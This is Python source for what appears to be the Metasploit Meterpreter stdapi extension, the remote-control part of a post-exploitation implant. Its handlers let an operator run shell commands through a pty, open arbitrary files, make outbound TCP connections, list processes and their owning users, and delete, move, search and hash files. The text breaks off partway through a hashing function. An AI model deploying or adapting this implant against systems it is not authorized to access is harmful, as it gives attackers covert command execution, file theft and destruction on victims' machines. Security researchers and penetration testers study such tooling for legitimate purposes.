import ctypes
import fnmatch
import getpass
import os
import platform
import shlex
import shutil
import socket
import struct
import subprocess
import sys

has_windll = hasattr(ctypes, 'windll')

try:
	import pty
	has_pty = True
except ImportError:
	has_pty = False

try:
	import pwd
	has_pwd = True
except ImportError:
	has_pwd = False

try:
	import termios
	has_termios = True
except ImportError:
	has_termios = False

try:
	import _winreg as winreg
	has_winreg = True
except ImportError:
	has_winreg = False

class PROCESSENTRY32(ctypes.Structure):
	_fields_ = [("dwSize", ctypes.c_uint32),
		("cntUsage", ctypes.c_uint32),
		("th32ProcessID", ctypes.c_uint32),
		("th32DefaultHeapID", ctypes.c_void_p),
		("th32ModuleID", ctypes.c_uint32),
		("cntThreads", ctypes.c_uint32),
		("th32ParentProcessID", ctypes.c_uint32),
		("thPriClassBase", ctypes.c_int32),
		("dwFlags", ctypes.c_uint32),
		("szExeFile", (ctypes.c_char * 260))]

class SYSTEM_INFO(ctypes.Structure):
	_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
		("wReserved", ctypes.c_uint16),
		("dwPageSize", ctypes.c_uint32),
		("lpMinimumApplicationAddress", ctypes.c_void_p),
		("lpMaximumApplicationAddress", ctypes.c_void_p),
		("dwActiveProcessorMask", ctypes.c_uint32),
		("dwNumberOfProcessors", ctypes.c_uint32),
		("dwProcessorType", ctypes.c_uint32),
		("dwAllocationGranularity", ctypes.c_uint32),
		("wProcessorLevel", ctypes.c_uint16),
		("wProcessorRevision", ctypes.c_uint16),]

class SID_AND_ATTRIBUTES(ctypes.Structure):
	_fields_ = [("Sid", ctypes.c_void_p),
		("Attributes", ctypes.c_uint32),]

##
# STDAPI
##

#
# TLV Meta Types
#
TLV_META_TYPE_NONE =       (   0   )
TLV_META_TYPE_STRING =     (1 << 16)
TLV_META_TYPE_UINT =       (1 << 17)
TLV_META_TYPE_RAW =        (1 << 18)
TLV_META_TYPE_BOOL =       (1 << 19)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP =      (1 << 30)
TLV_META_TYPE_COMPLEX =    (1 << 31)
# not defined in original
TLV_META_TYPE_MASK =    (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)

#
# TLV Specific Types
#
TLV_TYPE_ANY =                 TLV_META_TYPE_NONE   |   0
TLV_TYPE_METHOD =              TLV_META_TYPE_STRING |   1
TLV_TYPE_REQUEST_ID =          TLV_META_TYPE_STRING |   2
TLV_TYPE_EXCEPTION =           TLV_META_TYPE_GROUP  |   3
TLV_TYPE_RESULT =              TLV_META_TYPE_UINT   |   4

TLV_TYPE_STRING =              TLV_META_TYPE_STRING |  10
TLV_TYPE_UINT =                TLV_META_TYPE_UINT   |  11
TLV_TYPE_BOOL =                TLV_META_TYPE_BOOL   |  12

TLV_TYPE_LENGTH =              TLV_META_TYPE_UINT   |  25
TLV_TYPE_DATA =                TLV_META_TYPE_RAW    |  26
TLV_TYPE_FLAGS =               TLV_META_TYPE_UINT   |  27

TLV_TYPE_CHANNEL_ID =          TLV_META_TYPE_UINT   |  50
TLV_TYPE_CHANNEL_TYPE =        TLV_META_TYPE_STRING |  51
TLV_TYPE_CHANNEL_DATA =        TLV_META_TYPE_RAW    |  52
TLV_TYPE_CHANNEL_DATA_GROUP =  TLV_META_TYPE_GROUP  |  53
TLV_TYPE_CHANNEL_CLASS =       TLV_META_TYPE_UINT   |  54

##
# General
##
TLV_TYPE_HANDLE =              TLV_META_TYPE_UINT    |  600
TLV_TYPE_INHERIT =             TLV_META_TYPE_BOOL    |  601
TLV_TYPE_PROCESS_HANDLE =      TLV_META_TYPE_UINT    |  630
TLV_TYPE_THREAD_HANDLE =       TLV_META_TYPE_UINT    |  631

##
# Fs
##
TLV_TYPE_DIRECTORY_PATH =      TLV_META_TYPE_STRING  | 1200
TLV_TYPE_FILE_NAME =           TLV_META_TYPE_STRING  | 1201
TLV_TYPE_FILE_PATH =           TLV_META_TYPE_STRING  | 1202
TLV_TYPE_FILE_MODE =           TLV_META_TYPE_STRING  | 1203
TLV_TYPE_FILE_SIZE =           TLV_META_TYPE_UINT    | 1204

TLV_TYPE_STAT_BUF =            TLV_META_TYPE_COMPLEX | 1220

TLV_TYPE_SEARCH_RECURSE =      TLV_META_TYPE_BOOL    | 1230
TLV_TYPE_SEARCH_GLOB =         TLV_META_TYPE_STRING  | 1231
TLV_TYPE_SEARCH_ROOT =         TLV_META_TYPE_STRING  | 1232
TLV_TYPE_SEARCH_RESULTS =      TLV_META_TYPE_GROUP   | 1233

##
# Net
##
TLV_TYPE_HOST_NAME =           TLV_META_TYPE_STRING  | 1400
TLV_TYPE_PORT =                TLV_META_TYPE_UINT    | 1401

TLV_TYPE_SUBNET =              TLV_META_TYPE_RAW     | 1420
TLV_TYPE_NETMASK =             TLV_META_TYPE_RAW     | 1421
TLV_TYPE_GATEWAY =             TLV_META_TYPE_RAW     | 1422
TLV_TYPE_NETWORK_ROUTE =       TLV_META_TYPE_GROUP   | 1423

TLV_TYPE_IP =                  TLV_META_TYPE_RAW     | 1430
TLV_TYPE_MAC_ADDRESS =         TLV_META_TYPE_RAW     | 1431
TLV_TYPE_MAC_NAME =            TLV_META_TYPE_STRING  | 1432
TLV_TYPE_NETWORK_INTERFACE =   TLV_META_TYPE_GROUP   | 1433

TLV_TYPE_SUBNET_STRING =       TLV_META_TYPE_STRING  | 1440
TLV_TYPE_NETMASK_STRING =      TLV_META_TYPE_STRING  | 1441
TLV_TYPE_GATEWAY_STRING =      TLV_META_TYPE_STRING  | 1442
TLV_TYPE_ROUTE_METRIC =        TLV_META_TYPE_UINT    | 1443
TLV_TYPE_ADDR_TYPE =           TLV_META_TYPE_UINT    | 1444

# Socket
TLV_TYPE_PEER_HOST =           TLV_META_TYPE_STRING  | 1500
TLV_TYPE_PEER_PORT =           TLV_META_TYPE_UINT    | 1501
TLV_TYPE_LOCAL_HOST =          TLV_META_TYPE_STRING  | 1502
TLV_TYPE_LOCAL_PORT =          TLV_META_TYPE_UINT    | 1503
TLV_TYPE_CONNECT_RETRIES =     TLV_META_TYPE_UINT    | 1504

TLV_TYPE_SHUTDOWN_HOW =        TLV_META_TYPE_UINT    | 1530

# Registry
TLV_TYPE_HKEY               = TLV_META_TYPE_UINT    | 1000
TLV_TYPE_ROOT_KEY           = TLV_TYPE_HKEY
TLV_TYPE_BASE_KEY           = TLV_META_TYPE_STRING  | 1001
TLV_TYPE_PERMISSION         = TLV_META_TYPE_UINT    | 1002
TLV_TYPE_KEY_NAME           = TLV_META_TYPE_STRING  | 1003
TLV_TYPE_VALUE_NAME         = TLV_META_TYPE_STRING  | 1010
TLV_TYPE_VALUE_TYPE         = TLV_META_TYPE_UINT    | 1011
TLV_TYPE_VALUE_DATA         = TLV_META_TYPE_RAW     | 1012
TLV_TYPE_TARGET_HOST        = TLV_META_TYPE_STRING  | 1013

# Config
TLV_TYPE_COMPUTER_NAME =       TLV_META_TYPE_STRING  | 1040
TLV_TYPE_OS_NAME =             TLV_META_TYPE_STRING  | 1041
TLV_TYPE_USER_NAME =           TLV_META_TYPE_STRING  | 1042
TLV_TYPE_ARCHITECTURE  =       TLV_META_TYPE_STRING  | 1043

DELETE_KEY_FLAG_RECURSIVE = (1 << 0)

# Process
TLV_TYPE_BASE_ADDRESS =        TLV_META_TYPE_UINT    | 2000
TLV_TYPE_ALLOCATION_TYPE =     TLV_META_TYPE_UINT    | 2001
TLV_TYPE_PROTECTION =          TLV_META_TYPE_UINT    | 2002
TLV_TYPE_PROCESS_PERMS =       TLV_META_TYPE_UINT    | 2003
TLV_TYPE_PROCESS_MEMORY =      TLV_META_TYPE_RAW     | 2004
TLV_TYPE_ALLOC_BASE_ADDRESS =  TLV_META_TYPE_UINT    | 2005
TLV_TYPE_MEMORY_STATE =        TLV_META_TYPE_UINT    | 2006
TLV_TYPE_MEMORY_TYPE =         TLV_META_TYPE_UINT    | 2007
TLV_TYPE_ALLOC_PROTECTION =    TLV_META_TYPE_UINT    | 2008
TLV_TYPE_PID =                 TLV_META_TYPE_UINT    | 2300
TLV_TYPE_PROCESS_NAME =        TLV_META_TYPE_STRING  | 2301
TLV_TYPE_PROCESS_PATH =        TLV_META_TYPE_STRING  | 2302
TLV_TYPE_PROCESS_GROUP =       TLV_META_TYPE_GROUP   | 2303
TLV_TYPE_PROCESS_FLAGS =       TLV_META_TYPE_UINT    | 2304
TLV_TYPE_PROCESS_ARGUMENTS =   TLV_META_TYPE_STRING  | 2305
TLV_TYPE_PROCESS_ARCH =        TLV_META_TYPE_UINT    | 2306
TLV_TYPE_PARENT_PID =          TLV_META_TYPE_UINT    | 2307

TLV_TYPE_IMAGE_FILE =          TLV_META_TYPE_STRING  | 2400
TLV_TYPE_IMAGE_FILE_PATH =     TLV_META_TYPE_STRING  | 2401
TLV_TYPE_PROCEDURE_NAME =      TLV_META_TYPE_STRING  | 2402
TLV_TYPE_PROCEDURE_ADDRESS =   TLV_META_TYPE_UINT    | 2403
TLV_TYPE_IMAGE_BASE =          TLV_META_TYPE_UINT    | 2404
TLV_TYPE_IMAGE_GROUP =         TLV_META_TYPE_GROUP   | 2405
TLV_TYPE_IMAGE_NAME =          TLV_META_TYPE_STRING  | 2406

TLV_TYPE_THREAD_ID =           TLV_META_TYPE_UINT    | 2500
TLV_TYPE_THREAD_PERMS =        TLV_META_TYPE_UINT    | 2502
TLV_TYPE_EXIT_CODE =           TLV_META_TYPE_UINT    | 2510
TLV_TYPE_ENTRY_POINT =         TLV_META_TYPE_UINT    | 2511
TLV_TYPE_ENTRY_PARAMETER =     TLV_META_TYPE_UINT    | 2512
TLV_TYPE_CREATION_FLAGS =      TLV_META_TYPE_UINT    | 2513

TLV_TYPE_REGISTER_NAME =       TLV_META_TYPE_STRING  | 2540
TLV_TYPE_REGISTER_SIZE =       TLV_META_TYPE_UINT    | 2541
TLV_TYPE_REGISTER_VALUE_32 =   TLV_META_TYPE_UINT    | 2542
TLV_TYPE_REGISTER =            TLV_META_TYPE_GROUP   | 2550

##
# Ui
##
TLV_TYPE_IDLE_TIME =           TLV_META_TYPE_UINT    | 3000
TLV_TYPE_KEYS_DUMP =           TLV_META_TYPE_STRING  | 3001
TLV_TYPE_DESKTOP =             TLV_META_TYPE_STRING  | 3002

##
# Event Log
##
TLV_TYPE_EVENT_SOURCENAME =    TLV_META_TYPE_STRING  | 4000
TLV_TYPE_EVENT_HANDLE =        TLV_META_TYPE_UINT    | 4001
TLV_TYPE_EVENT_NUMRECORDS =    TLV_META_TYPE_UINT    | 4002

TLV_TYPE_EVENT_READFLAGS =     TLV_META_TYPE_UINT    | 4003
TLV_TYPE_EVENT_RECORDOFFSET =  TLV_META_TYPE_UINT    | 4004

TLV_TYPE_EVENT_RECORDNUMBER =  TLV_META_TYPE_UINT    | 4006
TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT    | 4007
TLV_TYPE_EVENT_TIMEWRITTEN =   TLV_META_TYPE_UINT    | 4008
TLV_TYPE_EVENT_ID =            TLV_META_TYPE_UINT    | 4009
TLV_TYPE_EVENT_TYPE =          TLV_META_TYPE_UINT    | 4010
TLV_TYPE_EVENT_CATEGORY =      TLV_META_TYPE_UINT    | 4011
TLV_TYPE_EVENT_STRING =        TLV_META_TYPE_STRING  | 4012
TLV_TYPE_EVENT_DATA =          TLV_META_TYPE_RAW     | 4013

##
# Power
##
TLV_TYPE_POWER_FLAGS =         TLV_META_TYPE_UINT    | 4100
TLV_TYPE_POWER_REASON =        TLV_META_TYPE_UINT    | 4101

##
# Sys
##
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)

PROCESS_ARCH_UNKNOWN = 0
PROCESS_ARCH_X86 = 1
PROCESS_ARCH_X64 = 2
PROCESS_ARCH_IA64 = 3

##
# Errors
##
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1

# Special return value to match up with Windows error codes for network
# errors.
ERROR_CONNECTION_ERROR = 10000

WIN_AF_INET  = 2
WIN_AF_INET6 = 23

def get_stat_buffer(path):
	si = os.stat(path)
	rdev = 0
	if hasattr(si, 'st_rdev'):
		rdev = si.st_rdev
	blksize = 0
	if hasattr(si, 'st_blksize'):
		blksize = si.st_blksize
	blocks = 0
	if hasattr(si, 'st_blocks'):
		blocks = si.st_blocks
	st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
	st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
	st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
	st_buf += struct.pack('<II', blksize, blocks)
	return st_buf

def inet_pton(family, address):
	if hasattr(socket, 'inet_pton'):
		return socket.inet_pton(family, address)
	elif has_windll:
		WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
		lpAddress = (ctypes.c_ubyte * 28)()
		lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
		if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
			raise Exception('WSAStringToAddress failed')
		if family == socket.AF_INET:
			return ''.join(map(chr, lpAddress[4:8]))
		elif family == socket.AF_INET6:
			return ''.join(map(chr, lpAddress[8:24]))
	raise Exception('no suitable inet_pton functionality is available')

def resolve_host(hostname, family):
	address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
	family = address_info[0]
	address = address_info[4][0]
	return {'family':family, 'address':address, 'packed_address':inet_pton(family, address)}

def windll_GetNativeSystemInfo():
	if not has_windll:
		return None
	sysinfo = SYSTEM_INFO()
	ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
	return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)

@meterpreter.register_function
def channel_create_stdapi_fs_file(request, response):
	fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
	if fmode:
		fmode = fmode['value']
		fmode = fmode.replace('bb', 'b')
	else:
		fmode = 'rb'
	file_h = open(fpath, fmode)
	channel_id = meterpreter.add_channel(file_h)
	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def channel_create_stdapi_net_tcp_client(request, response):
	host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
	port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
	local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
	local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)
	retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
	connected = False
	for i in range(retries + 1):
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.settimeout(3.0)
		if local_host.get('value') and local_port.get('value'):
			sock.bind((local_host['value'], local_port['value']))
		try:
			sock.connect((host, port))
			connected = True
			break
		except:
			pass
	if not connected:
		return ERROR_CONNECTION_ERROR, response
	channel_id = meterpreter.add_channel(sock)
	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_sys_config_getuid(request, response):
	response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_sys_config_sysinfo(request, response):
	uname_info = platform.uname()
	response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
	response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3])
	arch = uname_info[4]
	if has_windll:
		arch = windll_GetNativeSystemInfo()
		if arch == PROCESS_ARCH_IA64:
			arch = 'IA64'
		elif arch == PROCESS_ARCH_X64:
			arch = 'x86_64'
		elif arch == PROCESS_ARCH_X86:
			arch = 'x86'
		else:
			arch = uname_info[4]
	response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_sys_process_close(request, response):
	proc_h_id = packet_get_tlv(request, TLV_TYPE_PROCESS_HANDLE)
	if not proc_h_id:
		return ERROR_SUCCESS, response
	proc_h_id = proc_h_id['value']
	proc_h = meterpreter.channels[proc_h_id]
	proc_h.kill()
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_sys_process_execute(request, response):
	cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
	raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
	if raw_args:
		raw_args = raw_args['value']
	else:
		raw_args = ""
	flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
	if len(cmd) == 0:
		return ERROR_FAILURE, response
	if os.path.isfile('/bin/sh'):
		args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
	else:
		args = [cmd]
		args.extend(shlex.split(raw_args))
	if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
		if has_pty:
			master, slave = pty.openpty()
			if has_termios:
				settings = termios.tcgetattr(master)
				settings[3] = settings[3] & ~termios.ECHO
				termios.tcsetattr(master, termios.TCSADRAIN, settings)
			proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
			proc_h.stdin = os.fdopen(master, 'wb')
			proc_h.stdout = os.fdopen(master, 'rb')
			proc_h.stderr = open(os.devnull, 'rb')
		else:
			proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
		proc_h.start()
	else:
		proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	proc_h_id = meterpreter.add_process(proc_h)
	response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
	response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
	if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
		channel_id = meterpreter.add_channel(proc_h)
		response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_sys_process_getpid(request, response):
	response += tlv_pack(TLV_TYPE_PID, os.getpid())
	return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_proc(request, response):
	for pid in os.listdir('/proc'):
		pgroup = ''
		if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
			continue
		cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
		status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
		status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
		status_data = filter(lambda x: len(x) == 2, status_data)
		status = {}
		for k, v in status_data:
			status[k[:-1]] = v.strip()
		ppid = status.get('PPid')
		uid = status.get('Uid').split('\t', 1)[0]
		if has_pwd:
			uid = pwd.getpwuid(int(uid)).pw_name
		if cmd:
			pname = os.path.basename(cmd.split(' ', 1)[0])
			ppath = cmd
		else:
			pname = '[' + status['Name'] + ']'
			ppath = ''
		pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
		if ppid:
			pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
		pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
		pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
		pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
		response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
	return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_ps(request, response):
	ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
	proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	ps_output = proc_h.stdout.read()
	ps_output = ps_output.split('\n')
	ps_output.pop(0)
	for process in ps_output:
		process = process.split()
		if len(process) < 4:
			break
		pgroup = ''
		pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
		pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
		pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
		pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
		pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
		response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
	return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_windll(request, response):
	TH32CS_SNAPPROCESS = 2
	PROCESS_QUERY_INFORMATION = 0x0400
	PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
	PROCESS_VM_READ = 0x10
	TOKEN_QUERY = 0x0008
	TokenUser = 1
	k32 = ctypes.windll.kernel32
	pe32 = PROCESSENTRY32()
	pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
	proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
	result = k32.Process32First(proc_snap, ctypes.byref(pe32))
	if not result:
		return ERROR_FAILURE, response
	while result:
		proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
		if not proc_h:
			proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
		exe_path = (ctypes.c_char * 1024)()
		success = False
		if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
			success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
		elif hasattr(k32, 'GetModuleFileNameExA'):
			success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
		if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
			dw_sz = ctypes.c_uint32()
			dw_sz.value = ctypes.sizeof(exe_path)
			success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
		if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
			success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
		if success:
			exe_path = ctypes.string_at(exe_path)
		else:
			exe_path = ''
		complete_username = ''
		tkn_h = ctypes.c_long()
		tkn_len = ctypes.c_uint32()
		if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)):
			ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len))
			buf = (ctypes.c_ubyte * tkn_len.value)()
			if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)):
				user_tkn = SID_AND_ATTRIBUTES()
				ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn))
				username = (ctypes.c_char * 512)()
				domain = (ctypes.c_char * 512)()
				u_len = ctypes.c_uint32()
				u_len.value = ctypes.sizeof(username)
				d_len = ctypes.c_uint32()
				d_len.value = ctypes.sizeof(domain)
				use = ctypes.c_ulong()
				use.value = 0
				ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
				complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
			k32.CloseHandle(tkn_h)
		parch = windll_GetNativeSystemInfo()
		is_wow64 = ctypes.c_ubyte()
		is_wow64.value = 0
		if hasattr(k32, 'IsWow64Process'):
			if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
				if is_wow64.value:
					parch = PROCESS_ARCH_X86
		pgroup = ''
		pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
		pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
		pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
		pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
		pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
		pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
		response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
		result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
		k32.CloseHandle(proc_h)
	k32.CloseHandle(proc_snap)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_sys_process_get_processes(request, response):
	if os.path.isdir('/proc'):
		return stdapi_sys_process_get_processes_via_proc(request, response)
	elif has_windll:
		return stdapi_sys_process_get_processes_via_windll(request, response)
	else:
		return stdapi_sys_process_get_processes_via_ps(request, response)
	return ERROR_FAILURE, response

@meterpreter.register_function
def stdapi_fs_chdir(request, response):
	wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
	os.chdir(wd)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_delete(request, response):
	file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
	os.unlink(file_path)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_delete_dir(request, response):
	dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
	if os.path.islink(dir_path):
		del_func = os.unlink
	else:
		del_func = shutil.rmtree
	del_func(dir_path)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
	file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	os.unlink(file_path)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_file_expand_path(request, response):
	path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	if has_windll:
		path_out = (ctypes.c_char * 4096)()
		path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
		result = ''.join(path_out)[:path_out_len]
	elif path_tlv == '%COMSPEC%':
		result = '/bin/sh'
	elif path_tlv in ['%TEMP%', '%TMP%']:
		result = '/tmp'
	else:
		result = os.getenv(path_tlv, path_tlv)
	if not result:
		return ERROR_FAILURE, response
	response += tlv_pack(TLV_TYPE_FILE_PATH, result)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_file_move(request, response):
	oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
	newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	os.rename(oldname, newname)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_getwd(request, response):
	response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_ls(request, response):
	path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
	path = os.path.abspath(path)
	contents = os.listdir(path)
	contents.sort()
	for x in contents:
		y = os.path.join(path, x)
		response += tlv_pack(TLV_TYPE_FILE_NAME, x)
		response += tlv_pack(TLV_TYPE_FILE_PATH, y)
		response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_md5(request, response):
	if sys.version_info[0] == 2 and sys.version_info[1] < 5:
		import md5
		m = md5.new()
	else:
		import hashlib
		m = hashlib.md5()
	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	m.update(open(path, 'rb').read())
	response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_mkdir(request, response):
	dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
	os.mkdir(dir_path)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_search(request, response):
	search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
	search_root = ('' or '.') # sometimes it's an empty string
	glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
	recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
	if recurse:
		for root, dirs, files in os.walk(search_root):
			for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
				file_tlv  = ''
				file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
				file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
				file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
				response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
	else:
		for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
			file_tlv  = ''
			file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
			file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
			file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
			response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_separator(request, response):
	response += tlv_pack(TLV_TYPE_STRING, os.sep)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_sha1(request, response):
	if sys.version_info[0] == 2 and sys.version_info[1] < 5:
		import sha1
		m = sha1.new()
	else:
		import hashlib
		m = hashlib.sha1()
